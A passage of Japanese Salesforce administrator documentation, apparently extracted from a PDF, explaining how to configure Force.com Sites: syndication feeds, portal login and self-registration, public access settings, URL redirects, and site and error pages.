異なる言語にローカライズする必要があるフィードのについて、カスタム表示ラベルを使用して、さまざまな
言語で文字列を定義することができます。対応付けて意義では、カスタム表示ラベルを参照します。要求が
あった場合、カスタム表示ラベルは、ゲストユーザの言語を確認して翻訳されたテキストを返し、対応付けに
使用されます。
カスタム表示ラベルは、次のシンタックスで項目に指定することができます。
map_element_name: "{!$LABEL.custom_label_name}"

次の手順で、フィードのカスタム表示ラベルを指定します。
1. [設定] から、[クイック検索] ボックスに「カスタム表示ラベル」と入力し、[カスタム表示ラベル] を選択し

ます。ft 要素の feedTitle など、値を使用する対応付け要素の後でカスタム表示ラベルの名前を指定す
ることができます。

2. サポートされているすべての言語の値を入力します。
3. フィードの対応付けでカスタム表示ラベルを指定します。
たとえば、会社が販売しようとしているすべての家に関する情報を含むフィードを作成するとします。英語を
使用するユーザの場合、フィードのタイトルは「The Houses」、スペイン語ユーザの場合のフィードのタイト
ルは「Las Casas」となります。feedTitle などのカスタム表示ラベルを作成します。英語の場合、値は「The

Houses」、スペイン語の場合は「Las Casas」となります。フィードの対応付け定義で、フィードタイトル fc:

に次の値を指定します。
ft: "{!$LABEL.feedTitle}"

Visualforce とフィード
Visualforceページにフィードを追加するには、Visualforce標準 HTML 機能を使用します。たとえば、Visualforceペー
ジがサイトのベースディレクトリにあり、次のようなタグが指定されているとします。
<A HREF=""/services/xml/theFeedName">My feed</A>

テキスト My feed は、フィードにリンクします。
画像からフィードをリンクする場合、次のようなインライン画像タグを指定します。
<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

自身の画像をアップロードする必要があります。
アドレスバーにアイコンを追加するには、リンクタグを Visualforce ページの <head> タグに追加します。
<link href='URI of feed'

type='application/x.atom+xml'
rel='feed'
title='A nice descriptive title'/>
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シンジケーションフィードについて
シンジケーションフィードの表示
シンジケーションフィードのテスト

シンジケーションフィードについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

フィード定義の作成、編
集または削除
• 「すべてのデータの編

集」

フィードの登録
• 必要な権限は特にあり

ません

シンジケーションフィードは、ユーザに Force.com サイト内の変更を登録し、外
部のニュースリーダの更新を受け取る機能を提供します。SOQL クエリとマッピ
ングを定義して、公開データへの変更をエンドユーザに関連付けることができ
ます。組織の公開サイトまたは任意の Visualforce ページに 1 つ以上のシンジケー
ションフィードを作成することができます。シンジケーションフィードには、
SOQL クエリで指定されたレコードが表示されます。ユーザはフィードを登録し、
サイトまたはページにアクセスした際にフィードを表示することができます。

フィードセキュリティの検証
ユーザがフィードに登録すると、情報はゲストユーザコンテキストで実行され
ます。つまり、ゲストユーザが必ずクエリの定義前にすべてのレコードおよび
ゲストが使用する適切なレコードのみに対するアクセス権限を割り当てられて
いる必要があります。
フィードセキュリティの検証を行う手順は、次のとおりです。
• サイトの公開アクセス設定を編集し、ゲストユーザが必ず適切なオブジェク

ト権限および項目レベルのセキュリティ設定を割り当てられるようにしま
す。

• ゲストユーザがどのレコードにアクセス権限を持つかを制御する共有ルール
を作成します。

公開アクセス設定および項目レベルセキュリティ設定を調整し、フィードで使用するオブジェクトをゲスト
ユーザが使えるようにした後、次のフィード関連タスクを実行します。
• 新規フィードを作成するには、[新規]をクリックします。
• 既存フィードの定義を表示するには、フィード名をクリックします。
• 既存フィードを編集するには、[編集]をクリックします。
• 既存フィードを削除するには、[削除]をクリックします。
• フィードの正当性をテストするには、[テストを実行]をクリックします。クエリ定義または対応付けにエ

ラーがある場合、エラーメッセージが表示されます。

関連トピック:

シンジケーションフィードの定義
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シンジケーションフィードの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

フィード定義の作成、編
集または削除
• 「すべてのデータの編

集」

フィードの登録
• 必要な権限は特にあり

ません

返されたレコード、表示されているレコードのデータなど、シンジケートフィー
ド定義を表示します。
名前

このフィードの記述名。作成した別のフィードと区別します。
説明

フィードを説明します。たとえば、「取引先の名前、姓、最近作成または編
集された 10 件の取引先の地域」です。

クエリ
シンジケーションフィードに返されたレコードを定義する SOQL クエリ。パ
フォーマンスの高速化を実現するため、SOQL クエリにはいくつかの制限があ
ります。詳細は、「シンジケーションフィードの定義」 (ページ6210)を参照し
てください。

の対応付け
シンジケーションフィードで ATOM Web 公開プロトコルを使用するため、ATOM

構造の返されたレコードのオブジェクトおよび項目に一致する対応付け値を
指定する必要があります。すべての値は文字列リテラルです。対応付け要素
の詳細は、「シンジケーションフィードの定義」 (ページ6210)を参照してくだ
さい。

最大キャッシュ保存期間 (秒)

多くのユーザが同時にフィードにアクセスする場合があるため、Salesforce はデフォルトで 3600 秒フィード
データをキャッシュします。この値を最小 300 秒、必要に応じて変更できます。ここで指定した時間より
古いクエリ結果は削除され、その情報の次回要求時、つまりユーザが次に登録したフィードを含むページ
を開いた場合に、新しいクエリが実行されます。

有効
フィードを登録できるかどうかを示します。フィードが有効化されると、ユーザはフィードを登録できま
す。

関連トピック:

シンジケーションフィードの定義
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シンジケーションフィードのテスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition

ユーザ権限

フィード定義の作成、編
集または削除
• 「すべてのデータの編

集」

フィードの登録
• 必要な権限は特にあり

ません

顧客にのフィード定義を有効化する前に、作成したフィード定義をテストしま
す。
フィードをテストする手順は、次のとおりです。
1. フィードを作成した後、[設定] から [クイック検索] に「サイト」と入力し、

[サイト] を選択し、フィードを定義したサイトをクリックします。または、
サイト詳細ページからフィード名をクリックするなど、さまざまな方法で
フィード詳細ページに移動することができます。

2. テストするフィードの [プレビュー] をクリックします。
3. フィードで 1 つ以上のバインド変数が使用されている場合、ダイアログが表

示されます。各バインド変数のテスト値を入力します。
4. 指定したバインド変数を持つフィードのブックマークを作成できるダイアロ

グが表示されます。ブックマークを保存することも、ダイアログをキャンセ
ルすることもできます。

5. フィードが返した値が表示されます。結果が期待どおりであることを確認し
ます。

関連トピック:

シンジケーションフィードの定義

Force.com Site のログインおよび登録設定の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

ユーザが公開Force.com Site からポータルに登録し、ログインする場合にログイン
設定を使用します。たとえば、アイデアサイトを経由して参照するユーザはそ
のサイトから直接登録およびログインでき、また認証済みユーザとして、アイ
デアコミュニティで投票、コメントの追加、参加ができます。ユーザが正常に
ログインすると、公開サイトを保持し、関連付けられたポータルにシームレス
に入ることができます。

メモ: セルフ登録に使用できるのは、カスタマポータルのみです。パート
ナーポータルでは、セルフ登録はサポートされていません。
認証 Web サイトの大規模ポータルユーザライセンスは、Force.com サイトを
使用するために設計されています。大規模向けに設計されているため、
Force.com サイトで使用するための効率的なオプションです。

Force.com サイトは、組み込み登録とログインロジックを使用できます。デフォ
ルトの Force.com ブランド Visualforce ページは、登録、ログイン、パスワード忘
れ、パスワード変更と関連付けられています。これらのページを変更し、独自
のものと置き換えることができます。
次のログインと登録ページは、デフォルトで用意されています。
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説明ページ名

デフォルトのログインページ。ユーザが Force.com サ
イトから関連付けられたポータルにログインするため
に使用します。

SiteLogin

デフォルトの登録ページ。新規ユーザが Force.com サ
イトから関連付けられたカスタマーポータルに登録す
るために使用します。

SiteRegister

デフォルトの登録確認ページ。関連付けられたカスタ
マーポータルに正常に登録できたことをユーザが確認
するページ。

SiteRegisterConfirm

メモ: ログインフォームおよび登録フォームは安全である必要があります。これらのフォームの forceSSL

属性をtrueに設定します。ただし、ポータルユーザなど、すでに認証されたユーザがアクセスするフォー
ムの forceSSL は、false に設定することをお勧めします。forceSSL 属性によって強制的にセキュア
URL に移動するため、認証済みユーザに対してエラーが発生します。

組み込みログインプロセスは次のとおりです。
• サイトのログインが有効化されていることを確認する
• ユーザがサイトの有効なユーザであるかどうかを確認する
• ユーザが期限の過ぎたパスワードをリセットできるようにする
組み込み登録プロセスは次のとおりです。
• サイトに関連付けられたカスタマーポータルの既存ユーザに対する新しいユーザ情報を確認する
• 新規ユーザの取引先責任者がすでに存在するかどうかを確認する
• まだ存在しない場合は、新しい取引先を作成し、サイトの取引先と関連付ける

重要: 次の手順に従って、サイト登録コントローラを取引先 ID で更新する必要があります。
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択します。
2. サイト登録コントローラの横にある [編集] をクリックします。
3. private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; 行を探し、新しいユーザと関

連付ける取引先の ID を挿入します。この行は次のように表示されます。
private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. [保存] をクリックします。

• 新しいユーザのカスタマーポータルを有効化し、メールの確認メッセージを送信します。
• 必要に応じて、ユーザが登録ページでパスワードを作成し、標準のメール確認プロセスをスキップします。

メモ: createPersonAccountPortalUser Apex メソッドを使用して、個人取引先を [カスタマーポータ
ル] ユーザとして作成し、有効化できます。createPersonAccountPortalUser を使用して、使用する
レコードタイプがゲストユーザのプロファイルに定義されているデフォルトのレコードタイプか、指定
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のレコードタイプかのいずれかの個人取引先を作成し、それをサイトのポータルで有効化します。個人
取引先は、大規模ポータルユーザとしてのみ有効化できます。

ポータルの公開ログインと登録を有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選択します。
2. 制御するサイトの名前をクリックします。
3. [ログイン設定] をクリックします。
4. [編集] をクリックします。
5. [ログイン有効化対象] から、サイトに関連付けるポータルを選択します。選択するポータルでは、[ログイ

ンを有効にする] オプションを選択する必要があります。カスタマーポータルの場合、[セルフ登録の有効
化] オプションも選択する必要があります。Force.com サイトでは、次のポータル設定を使用します。
• [ログアウト URL] は、ユーザをログアウトの特定ページに移動させる場合に使用します。この値が空

白になっていると、ユーザにはサイトの [有効なサイトのホームページ]項目で指定したページが表示さ
れます。

• [パスワード忘れ用テンプレート] は、パスワードを忘れた場合のプロセスで使用されます。
• [ヘッダー]、[フッター]、[ロゴ]、および [ログインメッセージ]は、IdeasHome ページおよび AnswersHome

ページの外観を指定するために使用します。
• カスタマーポータルの場合、次のようになります。

– [新規ユーザ用 テンプレート]はパスワードが提供されていない場合のセルフ登録に使用されます。
– [デフォルトの新規ユーザライセンス]、[デフォルトの新規ユーザロール]、および [デフォルトの新規

ユーザプロファイル] をセルフ登録に使用します。

6. [パスワードの変更ページ] を選択します。デフォルトのページが表示されますが、参照項目を使用して、
独自のページを選択できます。

7. 組織のセキュリティ設定を上書きし、サイトからポータルにログインするときに HTTP を排他的に使用する
場合に [セキュアでない接続 (HTTP) が必要] をオンにします。このチェックボックスがオンになってい
ない場合、[設定] の [セッションの設定] ページの [セキュアな接続 (HTTPS) が必要] 設定によってセキュ
リティレベルが決定します。
次の表は、これらの設定の間の関連について説明します。

説明組織レベルセキュリティ: セキュ
アな接続 (HTTPS) が必要

サイトレベルセキュリティ: セキュ
アでない接続 (HTTP) が必要

オフオフ • 組織は HTTP または HTTPS のいず
れかを使用できます。

• サイトは、ログイン後セッショ
ンで HTTP を使用します。

オフオン • 組織は HTTP または HTTPS のいず
れかを使用できます。
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説明組織レベルセキュリティ: セキュ
アな接続 (HTTPS) が必要

サイトレベルセキュリティ: セキュ
アでない接続 (HTTP) が必要

• サイトは、ログイン後セッショ
ンで HTTP を使用します。

オンオフ • 組織は HTTPS のみを使用しま
す。

• サイトは、ログイン後セッショ
ンで HTTPS を使用します。

• ログイン時、ユーザは
secure.force.com ドメイン
を参照します。

オンオン • 組織は HTTPS のみを使用しま
す。

• サイトは、ログイン後セッショ
ンで HTTP を使用します。

警告: [セッションの設定] ページの [セキュアな接続 (HTTPS) が必要] チェックボックスがオン、[ロ
グイン設定] ページの [セキュアでない接続 (HTTP) が必要] チェックボックスがオフになっている場
合、サイトから関連付けられているポータルにログインするユーザには、secure.force.comドメイ
ンが表示されます。たとえば、カスタムドメインとして mycompany.force.com を登録した場合、
URL はログイン時に https://mycompany.secure.force.com に変わります。
サイトのログインにスクリプトを使用する顧客は任意で指定できる refURL  URL パラメータを使用し、
ログイン後のカスタムドメイン名を保持します。サイトに [セキュアでない接続 (HTTP) が必要] が
設定されている場合、または組織に [セキュアな接続 (HTTPS) が必要]が設定されている場合、この
パラメータは無効です。refURL の URL は、
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com のようになりま
す。

8. [セキュアな Web アドレス] 項目には、SSL を使用する場合のこのサイト固有の Force.com URL が表示されま
す。

9. [保存] をクリックします。
サイトを有効にして、シングルサインオンの ID プロバイダを使用することもできます。

関連トピック:

Force.com サイトの設定
ポータルと Force.com サイトの関連付け
Force.com サイト関連の Apex メソッドと式
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Force.com サイトの公開アクセス設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com サイトの公開ア
クセス設定を編集する
• 「ユーザの管理」

公開アクセス設定は、公開ユーザが各 Force.com サイトで実行できる操作を制御
します。サイトの公開アクセス設定を定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 制御するサイトの名前をクリックします。
3. サイトプロファイルの [プロファイル] ページを開くには、[公開アクセス設

定] をクリックします。
このページには、プロファイルの権限と設定を表示および編集するためのすべ
ての機能が含まれますが、プロファイルをコピーまたは削除することはできま
せん。
サイトプロファイルでは、次の操作が可能です。
• サイトのオブジェクト権限を設定する。商品、価格表、アイデアを除くすべ

ての標準オブジェクトに「参照」および「作成」権限を付与することができ
ます。すべてのカスタムオブジェクトに「参照」、「作成」、「編集」、
「削除」権限を付与することができます。デフォルトで設定されていないす
べての権限は、手動で設定する必要があります。

警告: サイトの「参照」アクセス権を与えたオブジェクトについては、
共有を非公開に設定することをお勧めします。こうすると、サイトにア
クセスするユーザが参照および編集できるのは、サイトに関連するデー
タのみになります。
また、すべてのリストビューの表示の安全を図ることをお勧めします。
リストビューの表示を [特定のユーザグループに表示]に設定し、共有す
るグループを指定します。表示を [すべてのユーザに表示] に設定した
リストビューは、サイトの一般ユーザにも表示されます。リストビュー
を一般ユーザと共有するには、一般ユーザ用の新しい公開グループを作
成し、グループに対して表示可とします。オブジェクトの共有を非公開
とすると、リストビューが表示可能かどうかにかかわらず、一般ユーザ
にはそのレコードは表示されません。

• カスタムアプリケーションの表示を制御する。カスタムアプリケーションおよび関連タブを一般ユーザに
公開する場合、そのアプリケーションのみを表示し、その状態をデフォルトに設定して他のページが表示
されないようにします。サイトページのいずれかで標準 Salesforce ヘッダーを使用している場合、他の表示
可能なアプリケーションが一般ユーザに表示される可能性があります。

• ユーザがサイトにアクセスできるログイン時間帯を設定する。
• ユーザがどの IP アドレス範囲からサイトにアクセスできるかを制限する。Force.com Site は会社全体の IP ア

ドレスの制限を無視し、公開アクセス権を提供します。ただし、ここでは IP アドレスを制限できます。
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メモ: IP またはログイン時間に基づいて制限を設定するには HTTPS が必須です。Force.comドメインに関
連付けられた安全な URL を使用して、サイトにアクセスする必要があります。
すべての Force.com サイトページに HTTPS を適用し、すべての IP アドレスにサイトへのアクセスを許可
するには、0.0.0.0 ～ 255.255.255.255、:: ～ ::fffe:ffff:ffff、::1:0:0:0 ～
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff の IP 範囲を作成します。ただし、この設定によっ
てサイトのパフォーマンスが低下する可能性があるため、絶対に必要な場合以外は HTTPS を適用しな
いでください。HTTP から HTTPS に変更しても、ログイン中のユーザには次回ログインするまで影響は
ありません。
範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要があります。範囲では、IPv4 アド
レスは、IPv4 射影 IPv6 アドレス空間である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0 は 0.0.0.0、::ffff:ffff:ffff は 255.255.255.255. に対応します。範囲に
は、IPv4 射影 IPv6 アドレス空間内外の両方の IP アドレスを含めることはできません。たとえば、
255.255.255.255 から ::1:0:0:0 または :: から ::1:0:0:0 の範囲は許可されません。

• サイトのApexコントローラおよびメソッドを有効にする。サイトのVisualforceページにすでに関連付けられ
ているコントローラおよびメソッドは、デフォルトで有効化されています。

• サイトの Visualforce ページを有効にする。ここで行われた変更は、[サイトの詳細] ページの [Visualforce ペー
ジ] 関連リストに反映され、逆も当てはまります。

関連トピック:

Force.com サイトの設定
Force.com サイト関連の Apex メソッドと式
Salesforce Classic でのカスタムリストビューの作成
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Force.com サイトの URL リダイレクト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

サイトの URL リダイレク
トを作成および編集する
• 「アプリケーションの

カスタマイズ」

サイトの URL リダイレク
トを表示する
• 「設定・定義を参照す

る」

Force.comサイトのページを移動または再編成すると、検索エンジンで新しいペー
ジの場所を見つけるときに問題が発生する可能性があります。これを回避する
ために、サイト URL リダイレクトを設定して、サイトのコンテンツが移動したこ
とをユーザおよび検索エンジンに通知します。
サイトの URL リダイレクトを実装する際には、次の点に留意してください。
• エラーページと CSS ファイル (拡張子が .css のファイル) はリダイレクトでき

ません。
• 各サイトには、最大 1,000 のリダイレクトルールを指定できます。
• サイトの URL がリダイレクトするクエリパラメータは完全に一致します。た

だし、lastMod パラメータが含まれる URL はリダイレクトできません。
• サイトで URL の書き換えが有効になっている場合、すべてのサイトページが

リダイレクトされた後に URL 書き換えが実行されます。
• コミュニティホームページを対応する Site.com ホームページにリダイレクト

できます。これを行うには、コミュニティのホームページを表す /をリダイ
レクト元 URL に設定し、Site.com サイトのホームページを表す s をリダイレ
クト先 URL に設定します。

サイトページにリダイレクトを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. サイトの表示ラベルをクリックします。
3. サイト詳細ページの [URL リダイレクト] をクリックします。
4. [リダイレクト元 URL]項目で割り当て元のページの場所を指定します。ページの場所には、次の条件があ

ります。
• 相対 URL になっている必要があります。.html や .php など、すべての有効なタイプの拡張子にできま

す。
• /siteprefix/page.html#target などのアンカーを含めることはできません。

メモ: プレフィックス付きのサイトを使用する組織では、[リダイレクト元 URL] 項目および [リダイレ
クト先 URL] 項目に手動でプレフィックスを追加する必要があります。また、組織でルートレベルのサ
イトやプレフィックス付きのサイトを使用しており、プレフィックス付きのサイトのページをリダイ
レクトする必要があるけれども、リダイレクトルールにプレフィックスが含まれていない場合は、
Salesforce では代わりにルートサイトのルールを検索するため、404 エラーが発生します。

5. 次の [リダイレクトタイプ]を指定します。
• 永続 (301) — このオプションは、このページにアクセスするときにユーザおよび検索エンジンにシステ

ムの URL を更新させる場合に選択します。ユーザがこのタイプのリダイレクトされたページにアクセス
すると、新しいページに途切れなく送信されます。永続リダイレクトを使用すると、URL が検索エンジ
ンの人気度を保持し、検索エンジンが新しいページを索引付けして、索引から不用なソース URL を削除
します。
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• 一時 (302) — このオプションは、ユーザおよび検索エンジンにこのページの元の URL を使用し続けさせ
る場合に選択します。検索エンジンは、302 リダイレクトをいつでも再度変更可能なリダイレクトであ
ると解釈し、新しいリダイレクト先ページのコンテンツに索引付けし提供しますが、索引内にはソース
URL も保持されます。

6. [リダイレクト先 URL] 項目で新しいページの場所を指定します。これには、相対 URL または http:// や
https://プレフィックスを含む完全修飾 URL を指定できます。ソース URL とは異なり、ターゲット URL に
はアンカーを含めることができます。

7. [保存] をクリックします。
[Redirect Rules] セクションでは、サイトに作成したすべての URL リダイレクトルールが表示されます。このセク
ションでは、次の操作を実行できます。
• 割り当てられたリダイレクトルールの編集。
• リダイレクトルールの有効化または無効化。
• リダイレクトルールの削除。
• [リダイレクト元 URL] または [リダイレクト先 URL] 列のヘッダーをクリックして、リストを昇順または降順

に並び替える。

関連トピック:

Force.com サイト

ポータルと Force.com サイトの関連付け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

関連付けたポータルに対し、ユーザが Force.com サイトからシームレスに登録し
たりログインしたりできるようにします。

メモ: セルフ登録に使用できるのは、カスタマポータルのみです。パート
ナーポータルでは、セルフ登録はサポートされていません。
認証 Web サイトの大規模ポータルユーザライセンスは、Force.com サイト使
用するために設計されています。大規模向けに設計されているため、
Force.com サイトで使用するための効率的なオプションです。

1. 次の手順に従って、ログイン用にポータルを有効化します。
a. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入

力し、[カスタマーポータル設定]を選択するか、[設定] から、[クイック検
索] ボックスに「パートナー」と入力し、[設定] を選択します。

b. ポータルを有効化していない場合、[カスタマーポータルの有効化]または
[パートナーリレーション管理の有効化] を選択して、[保存]をクリックし
ます。

c. 変更するポータルの [編集] をクリックします。
d. ポータルを設定する手順は、次のとおりです。

i. [ログインを有効にする] チェックボックスをオンにします。
ii. [管理者] 項目のユーザを選択します。
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iii. 必要に応じて、[ログアウト URL]を設定します。これが設定されていないと、ユーザはログアウト
するとサイトホームページに移動します。

iv. [保存] をクリックします。

2. カスタマーポータルを使用していて、セルフ登録を許可する場合、次の手順に従います。
a. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設

定] を選択します。
b. Force.com サイトに関連付けるポータルの [編集] をクリックします。
c. カスタマーポータルを設定する手順は、次のとおりです。

i. [セルフ登録の有効化] を選択します。
ii. [デフォルトの新規ユーザライセンス]項目および [デフォルトの新規ユーザプロファイル]項目の両方

で[カスタマーポータルユーザ]を選択します。ポータルライセンスに応じて、[デフォルトの新規ユー
ザプロファイル] 項目に対して異なるプロファイルを選択することもできます。

iii. [デフォルトの新規ユーザロール] 項目に対し [ユーザ] を選択します。
iv. [保存] をクリックします。

メモ: セルフ登録を許可するときは、次の点に留意してください。
• サイトでは、セルフ登録での個人取引先の使用はサポートされていません。
• サイトを経由したセルフ登録の場合

– ユーザ登録時に入力規則が強制されます。
– 取引先責任者登録時に入力規則は無視されます。

3. サイトページをデフォルトポータルユーザに関連付ける手順は、次のとおりです。
a. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設

定] を選択するか、[設定] から、[クイック検索] ボックスに「パートナー」と入力し、[設定] を選択しま
す。

b. サイトに関連付けるポータルの名前をクリックします。
c. ポータルユーザに関連づけられている各プロファイルの名前をクリックし、次の操作を実行します。

i. [Visualforceページへのアクセスの有効化] セクションまでスクロールダウンし、[編集]をクリックしま
す。

ii. [有効な Visualforce ページ]リストに該当する公開サイトページを追加します。これで、このプ
ロファイルが設定されたポータルユーザにそれらのページが表示されます。

メモ: デフォルトでは、ポータルユーザには関連付けられた公開サイトに対して有効化された
すべてのページを表示できるため、認証を必要とするページを有効化するだけで済みます。

iii. [保存] をクリックします。

4. ログインを有効にしたポータルにサイトを関連付ける手順は、次のとおりです。
a. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選択します。
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b. 設定するサイトの表示ラベルをクリックします。
c. [ログイン設定] をクリックします。
d. [編集] をクリックします。
e. [ログイン有効化対象]ドロップダウンリストから、ログインを許可するポータルの名前を選択します。
f. [パスワードの変更ページ] をクリックします。
g. [保存] をクリックします。

アイデア、アンサー、Chatter アンサーを含むサイトについては、ゾーンをポータルで表示可能にして、サイト
に対し IdeasHome ページまたは AnswersHome ページを有効にする必要があります。ゾーンを 1 つ以上のポータル
に関連付ける手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスで次のいずれかを検索します。

• アイデアのゾーン
• Chatter アンサーゾーン
• アンサーゾーン

2. 公開するゾーンの横にある [編集] をクリックします。
3. [ポータル]ドロップダウンリストから、このゾーンで使用するポータルを選択します。ゾーンをすべての

ポータルで表示するように選択することもできます。

メモ: アイデアをサイトで使用できるようにするには、組織は、有効なポータルを該当するゾーンと関連
付ける必要があります。関連付けない場合、エラーが発生します。

関連トピック:

Force.com サイトの設定
Force.com Site のログインおよび登録設定の管理
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Force.com Site Visualforce ページの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.comサイトでは、すべてのサイトページとエラーページについて、Visualforce

ページを使用します。サンプルエラーページは、スタイルシートと画像に
SiteSamples 静的リソースを使用します。

警告: エラーの発生を避けるため、SiteSamples の名前の変更や削除をしない
でください。

サイトで開示するすべてのページが、そのサイトに対して関連付けられている
必要があります。[サイトのVisualforceページ] にページが表示されていない場合、
ページの有無によって、認証エラーまたは [ページが見つかりません] エラーが
表示されます。
サイトの Visualforce ページを有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 変更するサイトの名前をクリックします。
3. [サイトの Visualforce ページ] 関連リストで [編集] をクリックします。
4. [追加]ボタンと [削除]ボタンを使用して、サイトの Visualforceページを有効化

または無効化します。
5. [保存] をクリックします。

メモ: [サイトの詳細] ページ、エラーページ、またはログイン設定時の [パスワードの変更ページ] ページ
上のいずれかの参照項目に対して Visualforce ページを選択すると、そのページは自動的にサイトで有効化
されます。このリストからページを削除しても、上記のいずれか 1 か所でまだ選択されていれば、一般
ユーザはそのページにアクセスできます。サイトからページを完全に削除するには、ここで無効化し、
さらにサイトのどの参照項目でも選択されていないことを確認します。

サイト全体で Visualforce ページを有効にしない場合は、特定のプロファイルのページを有効化することもでき
ます。

[私のプロファイル] ページ
[私のプロファイル] ページは、カスタマーポータルまたはサイトユーザのプロファイルに関連付けられている
Visualforce ページです。[私のプロファイル] ページは、Force.com サイトまたは Force.com サイトからカスタマー
ポータルのいずれかにログインしたユーザを有効化し、そのユーザの取引先責任者情報を更新します。この
ページに変更を行った場合、対応するポータルユーザと取引先責任者レコードが更新されます。
[私のプロファイル] ページは、ページをサイトのゲストユーザプロファイルに割り当てることによって、サイ
ト全体に対して、またはより限定的に有効化できます。
また、[私のプロファイル] ページはホームページレイアウトの [カスタマーポータルへようこそ] コンポーネン
トの一部として提供されます。

関連トピック:

Force.com サイトの標準ページの管理
Force.com Site エラーページの割り当て
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Force.com サイトの標準ページの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.comサイトでは、すべてのサイトページとエラーページについて、Visualforce

ページを使用します。Force.com には、いくつかの標準ページも用意されていま
す。
サイトで開示するすべてのページが、そのサイトに対して有効化されている必
要があります。ページが [サイト標準ページ] の下の一覧に表示されていない場
合、Salesforce により「認証が必要です」というエラーが表示されます。
ユーザがサイトで表示できる標準ページを管理する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 表示するサイト名をクリックします。
3. [サイト標準ページ] 関連リストで [編集] をクリックします。
4. [追加] ボタンと [削除] ボタンを使用して、サイトの次の標準ページを有効化

または無効化します。
• ホームページ — ホームに関連付けられた標準ページ (/home/home.jsp)。
• アイデアページ — アイデアに関連付けられた標準ページ。デフォルトの

アイデアページ (IdeasHome など) を使用する場合、これらのページを有効化します。
• 解答ページ — 解答に関連付けられた標準ページ。デフォルトの解答ページ (AnswersHome など) を使用す

る場合、これらのページを有効化します。
• 検索ページ — 標準の Salesforce 検索ページ。一般のユーザに標準の検索の実行を許可するには、これら

のページを有効化します。
• ルックアップページ — 標準の Salesforce ルックアップページ。Visualforce ページ上の参照項目に関連付け

られているポップアップウィンドウです。

5. [保存] をクリックします。

メモ: サイトで頻繁に使用していないページは無効化してください。無効化しないと、一般ユーザからの
アクセスが可能になる場合があります。また、必ず非公開共有を設定して、一般ユーザからの検索やルッ
クアップのアクセスを制限してください。

関連トピック:

Force.com Site Visualforce ページの管理
Force.com Site エラーページの割り当て
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Force.com Site エラーページの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.comサイトでは、すべてのサイトページとエラーページについて、Visualforce

ページを使用します。サンプルエラーページは、スタイルシートと画像に
SiteSamples 静的リソースを使用します。

警告: エラーの発生を避けるため、SiteSamples の名前の変更や削除をしない
でください。

サイトのエラーページを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 変更するサイトの名前をクリックします。
3. [エラーページ] 関連リストで [ページの割り当て] をクリックします。
4. 参照項目を使用して、次のように標準的な各エラー条件にVisualforceページま

たは静的リソースを割り当てます。
• 承認が必要です  — 認証されていないページにアクセスしようとすると表

示されます。
• 制限を超えています  — サイトが帯域幅制限を超えている場合に表示され

ます。
• メンテナンス  — サイトがメンテナンスでダウンしている場合に表示されます。
• サービスは利用できません  — Salesforce サーバが使用できない場合に表示されます。このカスタムページ

は、選択した静的リソースから表示されます。静的リソースは、[サービスは利用できません] ページと
して割り当てられたとき、および割り当て後に更新されたときにキャッシュサーバにアップロードされ
ます。カスタムページは HTTP 要求に対してのみ表示されます。キャッシュは HTTPS には使用されませ
ん。Developer Edition または Sandbox 組織では使用できません。
サイトプレフィックスを使用するサイトのカスタムページを設定していない場合、サーバが使用できな
